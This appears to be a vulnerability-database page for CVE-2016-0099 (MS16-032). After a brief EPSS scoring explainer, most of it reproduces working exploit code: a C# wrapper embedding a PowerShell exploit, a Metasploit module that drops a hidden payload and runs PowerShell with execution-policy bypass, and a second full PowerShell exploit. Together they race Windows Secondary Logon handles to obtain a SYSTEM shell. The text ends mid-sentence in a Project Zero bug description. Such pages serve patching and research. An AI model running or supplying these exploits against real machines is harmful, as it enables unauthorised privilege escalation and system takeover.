CVE-2016-0099 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

# Exploit Title: Microsoft Windows 7-10 & Server 2008-2012 - Local Privilege Escalation (x32/x64) (MS16-032) (C#) # Date: 2016-04-25 # Author: @fdiskyou # e-mail: rui at deniable.org # Original exploit: https://www.exploit-db.com/exploits/39719/ # All credits go to @FuzzySec # C# version with @FuzzySec powershell code which does not rely on powershell.exe. Instead it runs from a powershell runspace environment (.NET). Helpful in security restricted environments with GPO, SRP, App Locker. # To compile MS16-032 you need to import this project within Microsoft Visual Studio or if you don't have access to a Visual Studio installation, you can compile with csc.exe. # It uses the System.Management.Automation namespace, so make sure you have the System.Management.Automation.dll within your source path when compiling outside of Visual Studio. # CVE: 2016-0099 using System; using System.IO; using System.Collections.Generic; using System.Collections.ObjectModel; using System.Text; using System.Threading.Tasks; using System.Management.Automation; using System.Management.Automation.Host; using System.Management.Automation.Runspaces; namespace MS16_032 { class Program { static void Main() { PowerShellExecutor t = new PowerShellExecutor(); t.ExecuteSynchronously(); } } class PowerShellExecutor { public static string PSInvoke_MS16_032 = System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(@"function Invoke-MS16-032 {
<#
.SYNOPSIS
    
    PowerShell implementation of MS16-032. The exploit targets all vulnerable
    operating systems that support PowerShell v2+. Credit for the discovery of
    the bug and the logic to exploit it go to James Forshaw (@tiraniddo).
    
    Targets:
    
    * Win7-Win10 & 2k8-2k12 <== 32/64 bit!
    * Tested on x32 Win7, x64 Win8, x64 2k12R2
    
    Notes:
    
    * In order for the race condition to succeed the machine must have 2+ CPU
      cores. If testing in a VM just make sure to add a core if needed mkay.
    * The exploit is pretty reliable, however ~1/6 times it will say it succeeded
      but not spawn a shell. Not sure what the issue is but just re-run and profit!
    * Want to know more about MS16-032 ==>
      https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html

.DESCRIPTION
	Author: Ruben Boonen (@FuzzySec)
	Blog: http://www.fuzzysecurity.com/
	License: BSD 3-Clause
	Required Dependencies: PowerShell v2+
	Optional Dependencies: None
    
.EXAMPLE
	C:\PS> Invoke-MS16-032
#>
	Add-Type -TypeDefinition @"
	using System;
	using System.Diagnostics;
	using System.Runtime.InteropServices;
	using System.Security.Principal;
	
	[StructLayout(LayoutKind.Sequential)]
	public struct PROCESS_INFORMATION
	{
		public IntPtr hProcess;
		public IntPtr hThread;
		public int dwProcessId;
		public int dwThreadId;
	}
	
	[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
	public struct STARTUPINFO
	{
		public Int32 cb;
		public string lpReserved;
		public string lpDesktop;
		public string lpTitle;
		public Int32 dwX;
		public Int32 dwY;
		public Int32 dwXSize;
		public Int32 dwYSize;
		public Int32 dwXCountChars;
		public Int32 dwYCountChars;
		public Int32 dwFillAttribute;
		public Int32 dwFlags;
		public Int16 wShowWindow;
		public Int16 cbReserved2;
		public IntPtr lpReserved2;
		public IntPtr hStdInput;
		public IntPtr hStdOutput;
		public IntPtr hStdError;
	}
	
	[StructLayout(LayoutKind.Sequential)]
	public struct SQOS
	{
		public int Length;
		public int ImpersonationLevel;
		public int ContextTrackingMode;
		public bool EffectiveOnly;
	}
	
	public static class Advapi32
	{
		[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
		public static extern bool CreateProcessWithLogonW(
			String userName,
			String domain,
			String password,
			int logonFlags,
			String applicationName,
			String commandLine,
			int creationFlags,
			int environment,
			String currentDirectory,
			ref  STARTUPINFO startupInfo,
			out PROCESS_INFORMATION processInformation);
			
		[DllImport("advapi32.dll", SetLastError=true)]
		public static extern bool SetThreadToken(
			ref IntPtr Thread,
			IntPtr Token);
			
		[DllImport("advapi32.dll", SetLastError=true)]
		public static extern bool OpenThreadToken(
			IntPtr ThreadHandle,
			int DesiredAccess,
			bool OpenAsSelf,
			out IntPtr TokenHandle);
			
		[DllImport("advapi32.dll", SetLastError=true)]
		public static extern bool OpenProcessToken(
			IntPtr ProcessHandle, 
			int DesiredAccess,
			ref IntPtr TokenHandle);
			
		[DllImport("advapi32.dll", SetLastError=true)]
		public extern static bool DuplicateToken(
			IntPtr ExistingTokenHandle,
			int SECURITY_IMPERSONATION_LEVEL,
			ref IntPtr DuplicateTokenHandle);
	}
	
	public static class Kernel32
	{
		[DllImport("kernel32.dll")]
		public static extern uint GetLastError();
	
		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern IntPtr GetCurrentProcess();
	
		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern IntPtr GetCurrentThread();
		
		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern int GetThreadId(IntPtr hThread);
		
		[DllImport("kernel32.dll", SetLastError = true)]
		public static extern int GetProcessIdOfThread(IntPtr handle);
		
		[DllImport("kernel32.dll",SetLastError=true)]
		public static extern int SuspendThread(IntPtr hThread);
		
		[DllImport("kernel32.dll",SetLastError=true)]
		public static extern int ResumeThread(IntPtr hThread);
		
		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern bool TerminateProcess(
			IntPtr hProcess,
			uint uExitCode);
	
		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern bool CloseHandle(IntPtr hObject);
		
		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern bool DuplicateHandle(
			IntPtr hSourceProcessHandle,
			IntPtr hSourceHandle,
			IntPtr hTargetProcessHandle,
			ref IntPtr lpTargetHandle,
			int dwDesiredAccess,
			bool bInheritHandle,
			int dwOptions);
	}
	
	public static class Ntdll
	{
		[DllImport("ntdll.dll", SetLastError=true)]
		public static extern int NtImpersonateThread(
			IntPtr ThreadHandle,
			IntPtr ThreadToImpersonate,
			ref SQOS SecurityQualityOfService);
	}
"@
	
	function Get-ThreadHandle {
		# StartupInfo Struct
		$StartupInfo = New-Object STARTUPINFO
		$StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES
		$StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
		$StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
		$StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
		$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
		
		# ProcessInfo Struct
		$ProcessInfo = New-Object PROCESS_INFORMATION
		
		# CreateProcessWithLogonW --> lpCurrentDirectory
		$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
		
		# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
		$CallResult = [Advapi32]::CreateProcessWithLogonW(
			"user", "domain", "pass",
			0x00000002, "C:\Windows\System32\cmd.exe", "",
			0x00000004, $null, $GetCurrentPath,
			[ref]$StartupInfo, [ref]$ProcessInfo)
		
		# Duplicate handle into current process -> DUPLICATE_SAME_ACCESS
		$lpTargetHandle = [IntPtr]::Zero
		$CallResult = [Kernel32]::DuplicateHandle(
			$ProcessInfo.hProcess, 0x4,
			[Kernel32]::GetCurrentProcess(),
			[ref]$lpTargetHandle, 0, $false,
			0x00000002)
		
		# Clean up suspended process
		$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
		$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
		$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
		
		$lpTargetHandle
	}
	
	function Get-SystemToken {
		echo "`n[?] Trying thread handle: $Thread"
		echo "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)"
	
		$CallResult = [Kernel32]::SuspendThread($Thread)
		if ($CallResult -ne 0) {
			echo "[!] $Thread is a bad thread, moving on.."
			Return
		} echo "[+] Thread suspended"
		
		echo "[>] Wiping current impersonation token"
		$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero)
		if (!$CallResult) {
			echo "[!] SetThreadToken failed, moving on.."
			$CallResult = [Kernel32]::ResumeThread($Thread)
			echo "[+] Thread resumed!"
			Return
		}
		
		echo "[>] Building SYSTEM impersonation token"
		# SecurityQualityOfService struct
		$SQOS = New-Object SQOS
		$SQOS.ImpersonationLevel = 2 #SecurityImpersonation
		$SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
		# Undocumented API's, I like your style Microsoft ;)
		$CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos)
		if ($CallResult -ne 0) {
			echo "[!] NtImpersonateThread failed, moving on.."
			$CallResult = [Kernel32]::ResumeThread($Thread)
			echo "[+] Thread resumed!"
			Return
		}
	
		$script:SysTokenHandle = [IntPtr]::Zero
		# 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
		$CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle)
		if (!$CallResult) {
			echo "[!] OpenThreadToken failed, moving on.."
			$CallResult = [Kernel32]::ResumeThread($Thread)
			echo "[+] Thread resumed!"
			Return
		}
		
		echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
		echo "[+] Resuming thread.."
		$CallResult = [Kernel32]::ResumeThread($Thread)
	}
	
	# main() <--- ;)
	$ms16032 = @"
	 __ __ ___ ___   ___     ___ ___ ___ 
	|  V  |  _|_  | |  _|___|   |_  |_  |
	|     |_  |_| |_| . |___| | |_  |  _|
	|_|_|_|___|_____|___|   |___|___|___|
	                                    
	               [by b33f -> @FuzzySec]
"@
	
	$ms16032
	
	# Check logical processor count, race condition requires 2+
	echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
	if ($([System.Environment]::ProcessorCount) -lt 2) {
		echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
		Return
	}
	
	# Create array for Threads & TID's
	$ThreadArray = @()
	$TidArray = @()
	
	echo "[>] Duplicating CreateProcessWithLogonW handles.."
	# Loop Get-ThreadHandle and collect thread handles with a valid TID
	for ($i=0; $i -lt 500; $i++) {
		$hThread = Get-ThreadHandle
		$hThreadID = [Kernel32]::GetThreadId($hThread)
		# Bit hacky/lazy, filters on uniq/valid TID's to create $ThreadArray
		if ($TidArray -notcontains $hThreadID) {
			$TidArray += $hThreadID
			if ($hThread -ne 0) {
				$ThreadArray += $hThread # This is what we need!
			}
		}
	}
	
	if ($($ThreadArray.length) -eq 0) {
		echo "[!] No valid thread handles were captured, exiting!"
		Return
	} else {
		echo "[?] Done, got $($ThreadArray.length) thread handle(s)!"
		echo "`n[?] Thread handle list:"
		$ThreadArray
	}
	
	echo "`n[*] Sniffing out privileged impersonation token.."
	foreach ($Thread in $ThreadArray){
	
		# Get handle to SYSTEM access token
		Get-SystemToken
		
		echo "`n[*] Sniffing out SYSTEM shell.."
		echo "`n[>] Duplicating SYSTEM token"
		$hDuplicateTokenHandle = [IntPtr]::Zero
		$CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)
		
		# Simple PS runspace definition
		echo "[>] Starting token race"
		$Runspace = [runspacefactory]::CreateRunspace()
		$StartTokenRace = [powershell]::Create()
		$StartTokenRace.runspace = $Runspace
		$Runspace.Open()
		[void]$StartTokenRace.AddScript({
			Param ($Thread, $hDuplicateTokenHandle)
			while ($true) {
				$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle)
			}
		}).AddArgument($Thread).AddArgument($hDuplicateTokenHandle)
		$AscObj = $StartTokenRace.BeginInvoke()
		
		echo "[>] Starting process race"
		# Adding a timeout (10 seconds) here to safeguard from edge-cases
		$SafeGuard = [diagnostics.stopwatch]::StartNew()
		while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
		# StartupInfo Struct
		$StartupInfo = New-Object STARTUPINFO
		$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
		
		# ProcessInfo Struct
		$ProcessInfo = New-Object PROCESS_INFORMATION
		
		# CreateProcessWithLogonW --> lpCurrentDirectory
		$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
		
		# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
		$CallResult = [Advapi32]::CreateProcessWithLogonW(
			"user", "domain", "pass",
			0x00000002, "C:\Windows\System32\cmd.exe", "",
			0x00000004, $null, $GetCurrentPath,
			[ref]$StartupInfo, [ref]$ProcessInfo)
			
		$hTokenHandle = [IntPtr]::Zero
		$CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
		# If we can't open the process token it's a SYSTEM shell!
		if (!$CallResult) {
			echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
			$CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
			$StartTokenRace.Stop()
			$SafeGuard.Stop()
			Return
		}
			
		# Clean up suspended process
		$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
		$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
		$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
		}
		
		# Kill runspace & stopwatch if edge-case
		$StartTokenRace.Stop()
		$SafeGuard.Stop()
	}
}")); public void ExecuteSynchronously() { InitialSessionState iss = InitialSessionState.CreateDefault(); Runspace rs = RunspaceFactory.CreateRunspace(iss); rs.Open(); PowerShell ps = PowerShell.Create(); ps.Runspace = rs; ps.AddScript(PSInvoke_MS16_032); ps.AddScript("Invoke-MS16-032"); ps.AddCommand("Out-Default"); ps.Invoke(); rs.Close(); } } }

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/payload_generator' require 'msf/core/exploit/powershell' require 'rex' class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking include Msf::Exploit::Powershell include Msf::Post::Windows::Priv include Msf::Post::Windows::Process include Msf::Post::File include Msf::Post::Windows::ReflectiveDLLInjection def initialize(info = {}) super(update_info(info, 'Name' => 'MS16-032 Secondary Logon Handle Privilege Escalation', 'Description' => %q{ This module exploits the lack of sanitization of standard handles in Windows' Secondary Logon Service. The vulnerability is known to affect versions of Windows 7-10 and 2k8-2k12 32 and 64 bit. This module will only work against those versions of Windows with Powershell 2.0 or later and systems with two or more CPU cores. }, 'License' => BSD_LICENSE, 'Author' => [ 'James Forshaw', # twitter.com/tiraniddo 'b33f', # @FuzzySec, http://www.fuzzysecurity.com' 'khr0x40sh' ], 'References' => [ [ 'MS', 'MS16-032'], [ 'CVE', '2016-0099'], [ 'URL', 'https://twitter.com/FuzzySec/status/723254004042612736' ], [ 'URL', 'https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html'] ], 'DefaultOptions' => { 'WfsDelay' => 30, 'EXITFUNC' => 'thread' }, 'DisclosureDate' => 'Mar 21 2016', 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ # Tested on (32 bits): # * Windows 7 SP1 [ 'Windows x86', { 'Arch' => ARCH_X86 } ], # Tested on (64 bits): # * Windows 7 SP1 # * Windows 8 # * Windows 2012 [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] ], 'DefaultTarget' => 0 )) register_advanced_options( [ OptString.new('W_PATH', [false, 'Where to write temporary powershell file', nil]), OptBool.new( 'DRY_RUN', [false, 'Only show what would be done', false ]), # How long until we DELETE file, we have a race condition here, so anything less than 60 # seconds might break OptInt.new('TIMEOUT', [false, 'Execution timeout', 60]) ], self.class) end def get_arch arch = nil if sysinfo["Architecture"] =~ /(wow|x)64/i arch = ARCH_X86_64 elsif sysinfo["Architecture"] =~ /x86/i arch = ARCH_X86 end arch end def check os = sysinfo["OS"] if os !~ /win/i # Non-Windows systems are definitely not affected. return Exploit::CheckCode::Safe end Exploit::CheckCode::Detected end def exploit if is_system? fail_with(Failure::None, 'Session is already elevated') end arch1 = get_arch if check == Exploit::CheckCode::Safe print_error("Target is not Windows") return elsif arch1 == nil print_error("Architecture could not be determined.") return end # Exploit PoC from 'b33f' ps_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-0099', 'cve_2016_0099.ps1') vprint_status("PS1 loaded from #{ps_path}") ms16_032 = File.read(ps_path) cmdstr = expand_path('%windir%') << '\\System32\\windowspowershell\\v1.0\\powershell.exe' if datastore['TARGET'] == 0 && arch1 == ARCH_X86_64 cmdstr.gsub!("System32","SYSWOW64") print_warning("Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell") vprint_warning("#{cmdstr}") end # payload formatted to fit dropped text file payl = cmd_psh_payload(payload.encoded,payload.arch,{ encode_final_payload: false, remove_comspec: true, method: 'old' }) payl.sub!(/.*?(?=New-Object IO)/im, "") payl = payl.split("';$s.")[0] payl.gsub!("''","'") payl = "$s=#{payl}while($true){Start-Sleep 1000};" @upfile=Rex::Text.rand_text_alpha((rand(8)+6))+".txt" path = datastore['W_PATH'] || pwd @upfile = "#{path}\\#{@upfile}" fd = session.fs.file.new(@upfile,"wb") print_status("Writing payload file, #{@upfile}...") fd.write(payl) fd.close psh_cmd = "IEX `$(gc #{@upfile})" #lpAppName ms16_032.gsub!("$cmd","\"#{cmdstr}\"") #lpcommandLine - capped at 1024b ms16_032.gsub!("$args1","\" -exec Bypass -nonI -window Hidden #{psh_cmd}\"") print_status('Compressing script contents...') ms16_032_c = compress_script(ms16_032) if ms16_032_c.size > 8100 print_error("Compressed size: #{ms16_032_c.size}") error_msg = "Compressed size may cause command to exceed " error_msg += "cmd.exe's 8kB character limit." print_error(error_msg) else print_good("Compressed size: #{ms16_032_c.size}") end if datastore['DRY_RUN'] print_good("cmd.exe /C powershell -exec Bypass -nonI -window Hidden #{ms16_032_c}") return end print_status("Executing exploit script...") cmd = "cmd.exe /C powershell -exec Bypass -nonI -window Hidden #{ms16_032_c}" args = nil begin process = session.sys.process.execute(cmd, args, { 'Hidden' => true, 'Channelized' => false }) rescue print_error("An error occurred executing the script.") end end def cleanup sleep_t = datastore['TIMEOUT'] vprint_warning("Sleeping #{sleep_t} seconds before deleting #{@upfile}...") sleep sleep_t begin rm_f(@upfile) print_good("Cleaned up #{@upfile}") rescue print_error("There was an issue with cleanup of the powershell payload script.") end end end

function Invoke-MS16-032 { <# .SYNOPSIS PowerShell implementation of MS16-032. The exploit targets all vulnerable operating systems that support PowerShell v2+. Credit for the discovery of the bug and the logic to exploit it go to James Forshaw (@tiraniddo). Targets: * Win7-Win10 & 2k8-2k12 <== 32/64 bit! * Tested on x32 Win7, x64 Win8, x64 2k12R2 Notes: * In order for the race condition to succeed the machine must have 2+ CPU cores. If testing in a VM just make sure to add a core if needed mkay. * Want to know more about MS16-032 ==> https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html .DESCRIPTION Author: Ruben Boonen (@FuzzySec) Blog: http://www.fuzzysecurity.com/ License: BSD 3-Clause Required Dependencies: PowerShell v2+ Optional Dependencies: None .EXAMPLE C:\PS> Invoke-MS16-032 #> Add-Type -TypeDefinition @" using System; using System.Diagnostics; using System.Runtime.InteropServices; using System.Security.Principal; [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public int dwProcessId; public int dwThreadId; } [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)] public struct STARTUPINFO { public Int32 cb; public string lpReserved; public string lpDesktop; public string lpTitle; public Int32 dwX; public Int32 dwY; public Int32 dwXSize; public Int32 dwYSize; public Int32 dwXCountChars; public Int32 dwYCountChars; public Int32 dwFillAttribute; public Int32 dwFlags; public Int16 wShowWindow; public Int16 cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] public struct SQOS { public int Length; public int ImpersonationLevel; public int ContextTrackingMode; public bool EffectiveOnly; } public static class Advapi32 { [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)] public static extern bool CreateProcessWithLogonW( String userName, String domain, String password, int logonFlags, String applicationName, String commandLine, int creationFlags, int environment, String currentDirectory, ref STARTUPINFO startupInfo, out PROCESS_INFORMATION processInformation); [DllImport("advapi32.dll", SetLastError=true)] public static extern bool SetThreadToken( ref IntPtr Thread, IntPtr Token); [DllImport("advapi32.dll", SetLastError=true)] public static extern bool OpenThreadToken( IntPtr ThreadHandle, int DesiredAccess, bool OpenAsSelf, out IntPtr TokenHandle); [DllImport("advapi32.dll", SetLastError=true)] public static extern bool OpenProcessToken( IntPtr ProcessHandle, int DesiredAccess, ref IntPtr TokenHandle); [DllImport("advapi32.dll", SetLastError=true)] public extern static bool DuplicateToken( IntPtr ExistingTokenHandle, int SECURITY_IMPERSONATION_LEVEL, ref IntPtr DuplicateTokenHandle); } public static class Kernel32 { [DllImport("kernel32.dll")] public static extern uint GetLastError(); [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr GetCurrentProcess(); [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr GetCurrentThread(); [DllImport("kernel32.dll", SetLastError=true)] public static extern int GetThreadId(IntPtr hThread); [DllImport("kernel32.dll", SetLastError = true)] public static extern int GetProcessIdOfThread(IntPtr handle); [DllImport("kernel32.dll",SetLastError=true)] public static extern int SuspendThread(IntPtr hThread); [DllImport("kernel32.dll",SetLastError=true)] public static extern int ResumeThread(IntPtr hThread); [DllImport("kernel32.dll", SetLastError=true)] public static extern bool TerminateProcess( IntPtr hProcess, uint uExitCode); [DllImport("kernel32.dll", SetLastError=true)] public static extern bool CloseHandle(IntPtr hObject); [DllImport("kernel32.dll", SetLastError=true)] public static extern bool DuplicateHandle( IntPtr hSourceProcessHandle, IntPtr hSourceHandle, IntPtr hTargetProcessHandle, ref IntPtr lpTargetHandle, int dwDesiredAccess, bool bInheritHandle, int dwOptions); } public static class Ntdll { [DllImport("ntdll.dll", SetLastError=true)] public static extern int NtImpersonateThread( IntPtr ThreadHandle, IntPtr ThreadToImpersonate, ref SQOS SecurityQualityOfService); } "@ function Get-ThreadHandle { # StartupInfo Struct $StartupInfo = New-Object STARTUPINFO $StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES $StartupInfo.hStdInput = [Kernel32]::GetCurrentThread() $StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread() $StartupInfo.hStdError = [Kernel32]::GetCurrentThread() $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size # ProcessInfo Struct $ProcessInfo = New-Object PROCESS_INFORMATION # CreateProcessWithLogonW --> lpCurrentDirectory $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED $CallResult = [Advapi32]::CreateProcessWithLogonW( "user", "domain", "pass", 0x00000002, "C:\Windows\System32\cmd.exe", "", 0x00000004, $null, $GetCurrentPath, [ref]$StartupInfo, [ref]$ProcessInfo) # Duplicate handle into current process -> DUPLICATE_SAME_ACCESS $lpTargetHandle = [IntPtr]::Zero $CallResult = [Kernel32]::DuplicateHandle( $ProcessInfo.hProcess, 0x4, [Kernel32]::GetCurrentProcess(), [ref]$lpTargetHandle, 0, $false, 0x00000002) # Clean up suspended process $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1) $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess) $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread) $lpTargetHandle } function Get-SystemToken { echo "`n[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($hThread))).ProcessName)" $CallResult = [Kernel32]::SuspendThread($hThread) if ($CallResult -ne 0) { echo "[!] $hThread is a bad thread, exiting.." Return } echo "[+] Thread suspended" echo "[>] Wiping current impersonation token" $CallResult = [Advapi32]::SetThreadToken([ref]$hThread, [IntPtr]::Zero) if (!$CallResult) { echo "[!] SetThreadToken failed, exiting.." $CallResult = [Kernel32]::ResumeThread($hThread) echo "[+] Thread resumed!" Return } echo "[>] Building SYSTEM impersonation token" # SecurityQualityOfService struct $SQOS = New-Object SQOS $SQOS.ImpersonationLevel = 2 #SecurityImpersonation $SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS) # Undocumented API's, I like your style Microsoft ;) $CallResult = [Ntdll]::NtImpersonateThread($hThread, $hThread, [ref]$sqos) if ($CallResult -ne 0) { echo "[!] NtImpersonateThread failed, exiting.." $CallResult = [Kernel32]::ResumeThread($hThread) echo "[+] Thread resumed!" Return } # Null $SysTokenHandle $script:SysTokenHandle = [IntPtr]::Zero # 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE $CallResult = [Advapi32]::OpenThreadToken($hThread, 0x0006, $false, [ref]$SysTokenHandle) if (!$CallResult) { echo "[!] OpenThreadToken failed, exiting.." $CallResult = [Kernel32]::ResumeThread($hThread) echo "[+] Thread resumed!" Return } echo "[?] Success, open SYSTEM token handle: $SysTokenHandle" echo "[+] Resuming thread.." $CallResult = [Kernel32]::ResumeThread($hThread) } # main() <--- ;) $ms16032 = @" __ __ ___ ___ ___ ___ ___ ___ | V | _|_ | | _|___| |_ |_ | | |_ |_| |_| . |___| | |_ | _| |_|_|_|___|_____|___| |___|___|___| [by b33f -> @FuzzySec] "@ $ms16032 # Check logical processor count, race condition requires 2+ echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)" if ($([System.Environment]::ProcessorCount) -lt 2) { echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n" Return } echo "[>] Duplicating CreateProcessWithLogonW handle" $hThread = Get-ThreadHandle # If no thread handle is captured, the box is patched if ($hThread -eq 0) { echo "[!] No valid thread handle was captured, exiting!`n" Return } else { echo "[?] Done, using thread handle: $hThread" } echo "`n[*] Sniffing out privileged impersonation token.." # Get handle to SYSTEM access token Get-SystemToken # If we fail a check in Get-SystemToken, exit if ($SysTokenHandle -eq 0) { Return } echo "`n[*] Sniffing out SYSTEM shell.." echo "`n[>] Duplicating SYSTEM token" $hDuplicateTokenHandle = [IntPtr]::Zero $CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle) # Simple PS runspace definition echo "[>] Starting token race" $Runspace = [runspacefactory]::CreateRunspace() $StartTokenRace = [powershell]::Create() $StartTokenRace.runspace = $Runspace $Runspace.Open() [void]$StartTokenRace.AddScript({ Param ($hThread, $hDuplicateTokenHandle) while ($true) { $CallResult = [Advapi32]::SetThreadToken([ref]$hThread, $hDuplicateTokenHandle) } }).AddArgument($hThread).AddArgument($hDuplicateTokenHandle) $AscObj = $StartTokenRace.BeginInvoke() echo "[>] Starting process race" # Adding a timeout (10 seconds) here to safeguard from edge-cases $SafeGuard = [diagnostics.stopwatch]::StartNew() while ($SafeGuard.ElapsedMilliseconds -lt 10000) { # StartupInfo Struct $StartupInfo = New-Object STARTUPINFO $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size # ProcessInfo Struct $ProcessInfo = New-Object PROCESS_INFORMATION # CreateProcessWithLogonW --> lpCurrentDirectory $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED $CallResult = [Advapi32]::CreateProcessWithLogonW( "user", "domain", "pass", 0x00000002, "C:\Windows\System32\cmd.exe", "", 0x00000004, $null, $GetCurrentPath, [ref]$StartupInfo, [ref]$ProcessInfo) #--- # Make sure CreateProcessWithLogonW ran successfully! If not, skip loop. #--- # Missing this check used to cause the exploit to fail sometimes. # If CreateProcessWithLogon fails OpenProcessToken won't succeed # but we obviously don't have a SYSTEM shell :'( . Should be 100% # reliable now! #--- if (!$CallResult) { continue } $hTokenHandle = [IntPtr]::Zero $CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle) # If we can't open the process token it's a SYSTEM shell! if (!$CallResult) { echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n" $CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread) $StartTokenRace.Stop() $SafeGuard.Stop() Return } # Clean up suspended process $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1) $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess) $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread) } # Kill runspace & stopwatch if edge-case $StartTokenRace.Stop() $SafeGuard.Stop() }

/* Sources: https://bugs.chromium.org/p/project-zero/issues/detail?id=687 https://googleprojectzero.blogspot.ca/2016/03/exploiting-leaked-thread-handle.html Windows: Secondary Logon Standard Handles Missing Sanitization EoP Platform: Windows 8.1, Windows 10, not testing on Windows 7 Class: Elevation of Privilege Summary: The SecLogon service does not sanitize standard handles when creating a new process leading to duplicating a system service thread pool handle into a user accessible process. This can be used to elevate privileges to Local System. Description: The APIs CreateProcessWithToken and CreateProcessWithLogon are exposed to user applications, however they’re actually implemented in a system service, Secondary Logon. When these methods are called it’s actually dispatched over RPC to the service. Both these methods take the normal STARTUPINFO structure and supports the passing of standard handles when the STARTF_USESTDHANDLES is used. Rather than the “standard” way of inheriting these handles to the new process the service copies them manually using the SlpSetStdHandles function. This does something equivalent to: BOOL SlpSetStdHandles(HANDLE hSrcProcess, HANDLE hTargetProcess, HANDLE handles[]) { foreach(HANDLE h : handles) { DuplicateHandle(hSrcProcesss, h, hTargetProcess, &hNewHandle, 0, FALSE, DUPLICATE_SAME_ACCESS); } } The vulnerability is nothing sanitizes these values. NtDuplicateObject special cases a couple of values for the source handle, Current 